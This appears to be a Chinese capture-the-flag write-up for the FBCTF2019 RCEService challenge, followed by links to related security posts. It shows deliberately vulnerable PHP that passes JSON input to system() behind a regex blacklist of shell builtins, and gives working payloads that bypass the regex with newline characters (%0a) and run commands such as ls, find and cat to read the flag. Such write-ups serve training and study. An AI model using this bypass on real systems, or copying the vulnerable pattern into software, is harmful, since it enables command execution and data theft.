[FBCTF2019]RCEService

源码

python 复制代码
<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

putenv('PATH=/home/rceservice/jail');

改变了环境变量, 也就无法直接使用cat这样的命令了

需要一个完整的路径比如 /bin/cat

可以在自己的vps上面在bin目录下找到这些命令

复制代码
preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)

*$可以通过多行绕过, %0a可以绕过

json_decode($json, true)['cmd']解码成一个关联数组, 通过下标cmd访问

所以就是{%0a"cmd": "命令"%0a}的形式

列出根目录
?cmd={%0a"cmd": "/bin/ls /"%0a}

没有发现flag, 使用find命令查找一下
?cmd={%0a"cmd": "/usr/bin/find / -name 'flag'"%0a}

拿flag
?cmd={%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

相关推荐
kingx34 小时前
BugKu 渗透测试 4 实战:文件上传打点,5 Flag 全通
数据库·渗透测试·web·内网渗透
kingx35 小时前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
kingx38 小时前
Bugku Reverse 与 Android 题解总集:APK / native / PE / IPA
android·逆向·ctf·bugku
kingx32 天前
Windows Server安全配置深度复盘:关键 Payload 与解题思路
windows·靶场·web·加固
kingx32 天前
网络安全事件应急响应:X集团 WebServer 入侵溯源与处置
中间件·web·应急响应·取证·恶意样本
小野猪都有白菜拱3 天前
Proxmox VE 上搭建 Vulhub 靶场:Ubuntu + Docker
web
treasure1404 天前
Django复习笔记(2026年10月)
后端·python·django·api·web·drf
hengdonghui5 天前
Writeup 4 NUAACTF 2020 Wireshark 流量分析题
wireshark·ctf·misc·流量分析
hengdonghui6 天前
Writeup 4 0xGame 2021 - robot
web·ctf·信息泄露·robots.txt
AlfredZhao8 天前
理解 iFrame 嵌套的跨域问题
web